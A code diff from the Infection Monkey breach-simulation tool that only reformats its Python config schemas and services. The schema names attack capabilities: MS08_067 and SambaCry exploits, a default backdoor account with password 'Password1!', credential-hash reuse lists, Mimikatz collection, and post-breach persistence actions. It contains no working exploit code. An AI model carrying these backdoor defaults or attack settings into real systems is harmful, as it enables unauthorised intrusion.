"type": "string", "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" + "description": "The fullpath of the monkey log file on Windows", }, "send_log_to_server": { "title": "Send log to server", "type": "boolean", "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } + "description": "Determines whether the monkey sends its log to the Monkey Island server", + }, + }, }, "exploits": { "title": "Exploits", @@ -365,32 +328,27 @@ "title": "Exploit LM hash list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [], - "description": "List of LM hashes to use on exploits using credentials" + "description": "List of LM hashes to use on exploits using credentials", }, "exploit_ntlm_hash_list": { "title": "Exploit NTLM hash list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" + "description": "List of NTLM hashes to use on exploits using credentials", }, "exploit_ssh_keys": { "title": "SSH key pairs list", "type": "array", "uniqueItems": True, "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - }, "general": { + "items": {"type": "string"}, + "description": "List of SSH key pairs to use, when trying to ssh into servers", + }, + "general": { "title": "General", "type": "object", "properties": { @@ -399,9 +357,9 @@ "type": "boolean", "default": False, "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" + " is already on the remote machine", } - } + }, }, "ms08_067": { "title": "MS08_067", @@ -411,21 +369,21 @@ "title": "MS08_067 exploit attempts", "type": "integer", "default": 5, - "description": "Number of attempts to exploit using MS08_067" + "description": "Number of attempts to exploit using MS08_067", }, "user_to_add": { "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" + "description": "Username to add on successful exploit", }, "remote_user_pass": { "title": "Remote user password", "type": "string", "default": "Password1!", - "description": "Password to use for created user" - } - } + "description": "Password to use for created user", + }, + }, }, "sambacry": { "title": "SambaCry", @@ -435,41 +393,35 @@ "title": "SambaCry trigger timeout", "type": "integer", "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" + "description": "Timeout (in seconds) of SambaCry trigger", }, "sambacry_folder_paths_to_guess": { "title": "SambaCry folder paths to guess", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home", ], - "description": "List of full paths to share folder for SambaCry to guess" + "description": "List of full paths to share folder for SambaCry to guess", }, "sambacry_shares_not_to_check": { "title": "SambaCry shares not to check", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - } + "items": {"type": "string"}, + "default": ["IPC$", "print$"], + "description": "These shares won't be checked when exploiting with SambaCry", + }, + }, + }, }, "smb_service": { "title": "SMB service", @@ -479,17 +431,16 @@ "title": "SMB download timeout", "type": "integer", "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)", }, "smb_service_name": { "title": "SMB service name", "type": "string", "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } + "description": "Name of the SMB service that will be set up to download monkey", + }, + }, + }, }, "testing": { "title": "Testing", @@ -500,9 +451,9 @@ "type": "boolean", "default": False, "description": "Exports unencrypted telemetries that can be used for tests in development." - " Do not turn on!" + " Do not turn on!", } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 82a394b657f..0d69c5aa4fe 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,11 @@ -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) MONKEY = { "title": "Monkey", @@ -15,54 +20,52 @@ "type": "string", "default": "", "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - "\"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh\"" + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', }, "PBA_linux_file": { "title": "Linux post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "Use the 'Linux post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename." + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, "custom_PBA_windows_cmd": { "title": "Windows post-breach command", "type": "string", "default": "", "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - "\"my_script.bat & del my_script.bat\"" + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"my_script.bat & del my_script.bat"', }, "PBA_windows_file": { "title": "Windows post-breach file", "type": "string", "format": "data-url", "description": "File to be uploaded after breaching. " - "Use the 'Windows post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename." + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, "PBA_windows_filename": { "title": "Windows PBA filename", "type": "string", - "default": "" + "default": "", }, "PBA_linux_filename": { "title": "Linux PBA filename", "type": "string", - "default": "" + "default": "", }, "post_breach_actions": { "title": "Post breach actions", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/post_breach_actions" - }, + "items": {"$ref": "#/definitions/post_breach_actions"}, "default": [ "BackdoorUser", "CommunicateAsNewUser", @@ -72,10 +75,10 @@ "ChangeSetuidSetgid", "ScheduleJobs", "Timestomping", - "AccountDiscovery" - ] + "AccountDiscovery", + ], }, - } + }, }, "system_info": { "title": "System info", @@ -85,19 +88,17 @@ "title": "System info collectors", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/system_info_collector_classes" - }, + "items": {"$ref": "#/definitions/system_info_collector_classes"}, "default": [ ENVIRONMENT_COLLECTOR, AWS_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, - AZURE_CRED_COLLECTOR - ] + AZURE_CRED_COLLECTOR, + ], }, - } + }, }, "persistent_scanning": { "title": "Persistent scanning", @@ -109,25 +110,23 @@ "default": 1, "minimum": 1, "description": "Determines how many iterations of the monkey's full lifecycle should occur " - "(how many times to do the scan)" + "(how many times to do the scan)", }, "timeout_between_iterations": { "title": "Wait time between iterations", "type": "integer", "default": 100, "minimum": 0, - "description": - "Determines for how long (in seconds) should the monkey wait before starting another scan" + "description": "Determines for how long (in seconds) should the monkey wait before starting another scan", }, "retry_failed_explotation": { "title": "Retry failed exploitation", "type": "boolean", "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfully exploit on previous scans" - } - } - } - } + "description": "Determines whether the monkey should retry exploiting machines" + " it didn't successfully exploit on previous scans", + }, + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 6144b6ef39a..2efd3643a2b 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -17,15 +17,18 @@ def __init__(self): @staticmethod def reset_db(): - logger.info('Resetting database') + logger.info("Resetting database") remove_PBA_files() # We can't drop system collections. - [Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.') - and not x == AttackMitigations.COLLECTION_NAME] + [ + Database.drop_collection(x) + for x in mongo.db.collection_names() + if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME + ] ConfigService.init_config() AttackConfig.reset_config() - logger.info('DB was reset') - return jsonify(status='OK') + logger.info("DB was reset") + return jsonify(status="OK") @staticmethod def drop_collection(collection_name: str): diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py index f7a0664bfef..67d42a3ab5c 100644 --- a/monkey/monkey_island/cc/services/edge/displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -9,7 +9,6 @@ class DisplayedEdgeService: - @staticmethod def get_displayed_edges_by_dst(dst_id: str, for_report=False): edges = EdgeService.get_by_dst_node(dst_node_id=ObjectId(dst_id)) @@ -27,8 +26,9 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): os = {} if len(edge.scans) > 0: - services = DisplayedEdgeService.services_to_displayed_services(edge.scans[-1]["data"]["services"], - for_report) + services = DisplayedEdgeService.services_to_displayed_services( + edge.scans[-1]["data"]["services"], for_report + ) os = edge.scans[-1]["data"]["os"] displayed_edge = DisplayedEdgeService.edge_to_net_edge(edge) @@ -44,15 +44,14 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): @staticmethod def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label): - edge = \ - { - "id": edge_id, - "from": src_node_id, - "to": dst_node_id, - "group": "island", - "src_label": src_label, - "dst_label": dst_label - } + edge = { + "id": edge_id, + "from": src_node_id, + "to": dst_node_id, + "group": "island", + "src_label": src_label, + "dst_label": dst_label, + } edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge) return edge @@ -65,19 +64,21 @@ def services_to_displayed_services(services, for_report=False): if for_report: return [x for x in services] else: - return [x + ": " + (services[x]['name'] if 'name' in services[x] else 'unknown') for x in services] + return [ + x + ": " + (services[x]["name"] if "name" in services[x] else "unknown") + for x in services + ] @staticmethod def edge_to_net_edge(edge: EdgeService): - return \ - { - "id": edge.id, - "from": edge.src_node_id, - "to": edge.dst_node_id, - "group": edge.get_group(), - "src_label": edge.src_label, - "dst_label": edge.dst_label - } + return { + "id": edge.id, + "from": edge.src_node_id, + "to": edge.dst_node_id, + "group": edge.get_group(), + "src_label": edge.src_label, + "dst_label": edge.dst_label, + } RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 4c9ef57d7a4..461b0e8a544 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -12,7 +12,6 @@ class EdgeService(Edge): - @staticmethod def get_all_edges() -> List[EdgeService]: return EdgeService.objects() @@ -44,7 +43,9 @@ def update_label(self, node_id: ObjectId, label: str): elif self.dst_node_id == node_id: self.dst_label = label else: - raise DoesNotExist("Node id provided does not match with any endpoint of an self provided.") + raise DoesNotExist( + "Node id provided does not match with any endpoint of an self provided." + ) self.save() @staticmethod @@ -65,12 +66,8 @@ def disable_tunnel(self): self.save() def update_based_on_scan_telemetry(self, telemetry: Dict): - machine_info = copy.deepcopy(telemetry['data']['machine']) - new_scan = \ - { - "timestamp": telemetry["timestamp"], - "data": machine_info - } + machine_info = copy.deepcopy(telemetry["data"]["machine"]) + new_scan = {"timestamp": telemetry["timestamp"], "data": machine_info} ip_address = machine_info.pop("ip_addr") domain_name = machine_info.pop("domain_name") self.scans.append(new_scan) @@ -81,7 +78,7 @@ def update_based_on_scan_telemetry(self, telemetry: Dict): def update_based_on_exploit(self, exploit: Dict): self.exploits.append(exploit) self.save() - if exploit['result']: + if exploit["result"]: self.set_exploited() def set_exploited(self): diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index 5aa97d923cc..2938909c299 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -3,45 +3,43 @@ from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService -SCAN_DATA_MOCK = [{ - "timestamp": "2020-05-27T14:59:28.944Z", - "data": { - "os": { - "type": "linux", - "version": "Ubuntu-4ubuntu2.8" - }, - "services": { - "tcp-8088": { - "display_name": "unknown(TCP)", - "port": 8088 +SCAN_DATA_MOCK = [ + { + "timestamp": "2020-05-27T14:59:28.944Z", + "data": { + "os": {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}, + "services": { + "tcp-8088": {"display_name": "unknown(TCP)", "port": 8088}, + "tcp-22": { + "display_name": "SSH", + "port": 22, + "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", + "name": "ssh", + }, }, - "tcp-22": { - "display_name": "SSH", - "port": 22, - "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", - "name": "ssh" - } + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, }, - "monkey_exe": None, - "default_tunnel": None, - "default_server": None } -}] +] -EXPLOIT_DATA_MOCK = [{ - "result": True, - "exploiter": "ElasticGroovyExploiter", - "info": { - "display_name": "Elastic search", - "started": "2020-05-11T08:59:38.105Z", - "finished": "2020-05-11T08:59:38.106Z", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [] - }, - "attempts": [], - "timestamp": "2020-05-27T14:59:29.048Z" -}] +EXPLOIT_DATA_MOCK = [ + { + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": "2020-05-11T08:59:38.105Z", + "finished": "2020-05-11T08:59:38.106Z", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": "2020-05-27T14:59:29.048Z", + } +] class TestDisplayedEdgeService: @@ -61,33 +59,37 @@ def test_get_displayed_edges_by_to(self): def test_edge_to_displayed_edge(self): src_node_id = ObjectId() dst_node_id = ObjectId() - edge = EdgeService(src_node_id=src_node_id, - dst_node_id=dst_node_id, - scans=SCAN_DATA_MOCK, - exploits=EXPLOIT_DATA_MOCK, - exploited=True, - domain_name=None, - ip_address="10.2.2.2", - dst_label="Ubuntu-4ubuntu2.8", - src_label="Ubuntu-4ubuntu3.2") + edge = EdgeService( + src_node_id=src_node_id, + dst_node_id=dst_node_id, + scans=SCAN_DATA_MOCK, + exploits=EXPLOIT_DATA_MOCK, + exploited=True, + domain_name=None, + ip_address="10.2.2.2", + dst_label="Ubuntu-4ubuntu2.8", + src_label="Ubuntu-4ubuntu3.2", + ) displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) - assert displayed_edge['to'] == dst_node_id - assert displayed_edge['from'] == src_node_id - assert displayed_edge['ip_address'] == "10.2.2.2" - assert displayed_edge['services'] == ["tcp-8088: unknown", "tcp-22: ssh"] - assert displayed_edge['os'] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} - assert displayed_edge['exploits'] == EXPLOIT_DATA_MOCK - assert displayed_edge['_label'] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" - assert displayed_edge['group'] == "exploited" + assert displayed_edge["to"] == dst_node_id + assert displayed_edge["from"] == src_node_id + assert displayed_edge["ip_address"] == "10.2.2.2" + assert displayed_edge["services"] == ["tcp-8088: unknown", "tcp-22: ssh"] + assert displayed_edge["os"] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} + assert displayed_edge["exploits"] == EXPLOIT_DATA_MOCK + assert displayed_edge["_label"] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" + assert displayed_edge["group"] == "exploited" return displayed_edge def test_services_to_displayed_services(self): - services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], - True) + services1 = DisplayedEdgeService.services_to_displayed_services( + SCAN_DATA_MOCK[-1]["data"]["services"], True + ) assert services1 == ["tcp-8088", "tcp-22"] - services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], - False) + services2 = DisplayedEdgeService.services_to_displayed_services( + SCAN_DATA_MOCK[-1]["data"]["services"], False + ) assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py index f327bc2d1c2..99ecf52d72f 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -11,7 +11,6 @@ class TestEdgeService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_or_create_edge(self): src_id = ObjectId() @@ -34,9 +33,7 @@ def test_get_or_create_edge(self): assert len(Edge.objects()) == 1 def test_get_edge_group(self): - edge = Edge(src_node_id=ObjectId(), - dst_node_id=ObjectId(), - exploited=True) + edge = Edge(src_node_id=ObjectId(), dst_node_id=ObjectId(), exploited=True) assert "exploited" == EdgeService.get_group(edge) edge.exploited = False diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index 0e22a34bab1..4121688d102 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -1,6 +1,6 @@ """This file will include consts values regarding the groupsandusers collection""" -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" USERTYPE = 1 GROUPTYPE = 2 diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 44d303fc37e..1f4c0e87e6c 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -8,21 +8,25 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.report_generation_synchronisation import (is_report_being_generated, - safe_generate_reports) +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + is_report_being_generated, + safe_generate_reports, +) logger = logging.getLogger(__name__) class InfectionLifecycle: - @staticmethod def kill_all(): - mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, - upsert=False, - multi=True) - logger.info('Kill all monkeys was called') - return jsonify(status='OK') + mongo.db.monkey.update( + {"dead": False}, + {"$set": {"config.alive": False, "modifytime": datetime.now()}}, + upsert=False, + multi=True, + ) + logger.info("Kill all monkeys was called") + return jsonify(status="OK") @staticmethod def get_completed_steps(): @@ -39,7 +43,8 @@ def get_completed_steps(): run_server=True, run_monkey=is_any_exists, infection_done=infection_done, - report_done=report_done) + report_done=report_done, + ) @staticmethod def _on_finished_infection(): diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index be6aae12de2..846b2e8448f 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -20,14 +20,12 @@ def get_log_file(): """ logger_handlers = logger.parent.handlers for handler in logger_handlers: - if hasattr(handler, 'baseFilename'): - logger.info('Log file found: {0}'.format(handler.baseFilename)) + if hasattr(handler, "baseFilename"): + logger.info("Log file found: {0}".format(handler.baseFilename)) log_file_path = handler.baseFilename - with open(log_file_path, 'rt') as f: + with open(log_file_path, "rt") as f: log_file = f.read() - return { - 'log_file': log_file - } + return {"log_file": log_file} - logger.warning('No log file could be found, check logger config.') + logger.warning("No log file could be found, check logger config.") return None diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py index a10e51f867d..f4f3374d609 100644 --- a/monkey/monkey_island/cc/services/log.py +++ b/monkey/monkey_island/cc/services/log.py @@ -12,37 +12,33 @@ def __init__(self): @staticmethod def get_log_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({'monkey_id': monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log: - log_file = database.gridfs.get(log['file_id']) + log_file = database.gridfs.get(log["file_id"]) monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label( - monkey_island.cc.services.node.NodeService.get_monkey_by_id(log['monkey_id'])) - return \ - { - 'monkey_label': monkey_label, - 'log': log_file.read().decode(), - 'timestamp': log['timestamp'] - } + monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) + ) + return { + "monkey_label": monkey_label, + "log": log_file.read().decode(), + "timestamp": log["timestamp"], + } @staticmethod def remove_logs_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({'monkey_id': monkey_id}) + log = mongo.db.log.find_one({"monkey_id": monkey_id}) if log is not None: - database.gridfs.delete(log['file_id']) - mongo.db.log.delete_one({'monkey_id': monkey_id}) + database.gridfs.delete(log["file_id"]) + mongo.db.log.delete_one({"monkey_id": monkey_id}) @staticmethod def add_log(monkey_id, log_data, timestamp=datetime.now()): LogService.remove_logs_by_monkey_id(monkey_id) - file_id = database.gridfs.put(log_data, encoding='utf-8') + file_id = database.gridfs.put(log_data, encoding="utf-8") return mongo.db.log.insert( - { - 'monkey_id': monkey_id, - 'file_id': file_id, - 'timestamp': timestamp - } + {"monkey_id": monkey_id, "file_id": file_id, "timestamp": timestamp} ) @staticmethod def log_exists(monkey_id): - return mongo.db.log.find_one({'monkey_id': monkey_id}) is not None + return mongo.db.log.find_one({"monkey_id": monkey_id}) is not None diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py index 0734bf60643..008fa5b5410 100644 --- a/monkey/monkey_island/cc/services/netmap/net_edge.py +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -7,7 +7,6 @@ class NetEdgeService: - @staticmethod def get_all_net_edges(): edges = NetEdgeService._get_standard_net_edges() @@ -34,22 +33,29 @@ def _get_uninfected_island_net_edges(): island_id = ObjectId("000000000000000000000000") monkey_label = NodeService.get_label_for_endpoint(monkey_id) island_label = NodeService.get_label_for_endpoint(island_id) - island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=island_id, - src_label=monkey_label, - dst_label=island_label) + island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge( + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=island_id, + src_label=monkey_label, + dst_label=island_label, + ) edges.append(island_pseudo_edge) return edges @staticmethod def _get_infected_island_net_edges(monkey_island_monkey): - existing_ids = [x.src_node_id for x - in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"])] - monkey_ids = [x.id for x in Monkey.objects() - if ("tunnel" not in x) and - (x.id not in existing_ids) and - (x.id != monkey_island_monkey["_id"])] + existing_ids = [ + x.src_node_id + for x in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"]) + ] + monkey_ids = [ + x.id + for x in Monkey.objects() + if ("tunnel" not in x) + and (x.id not in existing_ids) + and (x.id != monkey_island_monkey["_id"]) + ] edges = [] count = 0 @@ -59,11 +65,13 @@ def _get_infected_island_net_edges(monkey_island_monkey): fake_id = ObjectId(hex(count)[2:].zfill(24)) src_label = NodeService.get_label_for_endpoint(monkey_id) dst_label = NodeService.get_label_for_endpoint(monkey_island_monkey["_id"]) - edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=monkey_island_monkey["_id"], - src_label=src_label, - dst_label=dst_label) + edge = DisplayedEdgeService.generate_pseudo_edge( + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=monkey_island_monkey["_id"], + src_label=src_label, + dst_label=dst_label, + ) edges.append(edge) return edges diff --git a/monkey/monkey_island/cc/services/netmap/net_node.py b/monkey/monkey_island/cc/services/netmap/net_node.py index 796167cf5d4..6bb54fd4047 100644 --- a/monkey/monkey_island/cc/services/netmap/net_node.py +++ b/monkey/monkey_island/cc/services/netmap/net_node.py @@ -3,7 +3,6 @@ class NetNodeService: - @staticmethod def get_all_net_nodes(): monkeys = NetNodeService._get_monkey_net_nodes() diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 1c2c0f9f1ad..5bfb607766e 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -36,7 +36,7 @@ def get_displayed_node_by_id(node_id, for_report=False): # node is infected new_node = NodeService.monkey_to_net_node(monkey, for_report) for key in monkey: - if key not in ['_id', 'modifytime', 'parent', 'dead', 'description']: + if key not in ["_id", "modifytime", "parent", "dead", "description"]: new_node[key] = monkey[key] else: @@ -52,18 +52,18 @@ def get_displayed_node_by_id(node_id, for_report=False): edges = DisplayedEdgeService.get_displayed_edges_by_dst(node_id, for_report) for edge in edges: - from_node_id = edge['from'] + from_node_id = edge["from"] from_node_label = Monkey.get_label_by_id(from_node_id) from_node_hostname = Monkey.get_hostname_by_id(from_node_id) accessible_from_nodes.append(from_node_label) accessible_from_nodes_hostnames.append(from_node_hostname) - for edge_exploit in edge['exploits']: - edge_exploit['origin'] = from_node_label + for edge_exploit in edge["exploits"]: + edge_exploit["origin"] = from_node_label exploits.append(edge_exploit) - exploits = sorted(exploits, key=lambda exploit: exploit['timestamp']) + exploits = sorted(exploits, key=lambda exploit: exploit["timestamp"]) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes @@ -73,7 +73,7 @@ def get_displayed_node_by_id(node_id, for_report=False): else: new_node["services"] = [] - new_node['has_log'] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id)) + new_node["has_log"] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id)) return new_node @staticmethod @@ -110,8 +110,9 @@ def get_monkey_label_by_id(monkey_id): @staticmethod def get_monkey_critical_services(monkey_id): - critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get( - 'critical_services', []) + critical_services = mongo.db.monkey.find_one( + {"_id": monkey_id}, {"critical_services": 1} + ).get("critical_services", []) return critical_services @staticmethod @@ -139,8 +140,8 @@ def get_monkey_group(monkey): @staticmethod def get_node_group(node) -> str: - if 'group' in node and node['group']: - return node['group'] + if "group" in node and node["group"]: + return node["group"] node_type = "exploited" if node.get("exploited") else "clean" node_os = NodeService.get_node_os(node) return NodeStates.get_by_keywords([node_type, node_os]).value @@ -148,44 +149,41 @@ def get_node_group(node) -> str: @staticmethod def monkey_to_net_node(monkey, for_report=False): monkey_id = monkey["_id"] - label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id) + label = ( + Monkey.get_hostname_by_id(monkey_id) + if for_report + else Monkey.get_label_by_id(monkey_id) + ) monkey_group = NodeService.get_monkey_group(monkey) - return \ - { - "id": monkey_id, - "label": label, - "group": monkey_group, - "os": NodeService.get_monkey_os(monkey), - # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT - # contain "_running". This is a small optimisation, to not call "is_dead" twice. - "dead": "_running" not in monkey_group, - "domain_name": "", - "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] - } + return { + "id": monkey_id, + "label": label, + "group": monkey_group, + "os": NodeService.get_monkey_os(monkey), + # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT + # contain "_running". This is a small optimisation, to not call "is_dead" twice. + "dead": "_running" not in monkey_group, + "domain_name": "", + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [], + } @staticmethod def node_to_net_node(node, for_report=False): - label = node['os']['version'] if for_report else NodeService.get_node_label(node) - return \ - { - "id": node["_id"], - "label": label, - "group": NodeService.get_node_group(node), - "os": NodeService.get_node_os(node) - } + label = node["os"]["version"] if for_report else NodeService.get_node_label(node) + return { + "id": node["_id"], + "label": label, + "group": NodeService.get_node_group(node), + "os": NodeService.get_node_os(node), + } @staticmethod def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, - {'$set': {'group': node_group.value}}, - upsert=False) + mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) @staticmethod def unset_all_monkey_tunnels(monkey_id): - mongo.db.monkey.update( - {"_id": monkey_id}, - {'$unset': {'tunnel': ''}}, - upsert=False) + mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) edges = EdgeService.get_tunnel_edges_by_src(monkey_id) for edge in edges: @@ -196,84 +194,88 @@ def set_monkey_tunnel(monkey_id, tunnel_host_ip): tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( - {'_id': monkey_id}, - {'$set': {'tunnel': tunnel_host_id}}, - upsert=False) + {"_id": monkey_id}, {"$set": {"tunnel": tunnel_host_id}}, upsert=False + ) monkey_label = NodeService.get_label_for_endpoint(monkey_id) tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id) - tunnel_edge = EdgeService.get_or_create_edge(src_node_id=monkey_id, - dst_node_id=tunnel_host_id, - src_label=monkey_label, - dst_label=tunnel_host_label) + tunnel_edge = EdgeService.get_or_create_edge( + src_node_id=monkey_id, + dst_node_id=tunnel_host_id, + src_label=monkey_label, + dst_label=tunnel_host_label, + ) tunnel_edge.tunnel = True tunnel_edge.ip_address = tunnel_host_ip tunnel_edge.save() @staticmethod - def insert_node(ip_address, domain_name=''): + def insert_node(ip_address, domain_name=""): new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, "creds": [], - "os": - { - "type": 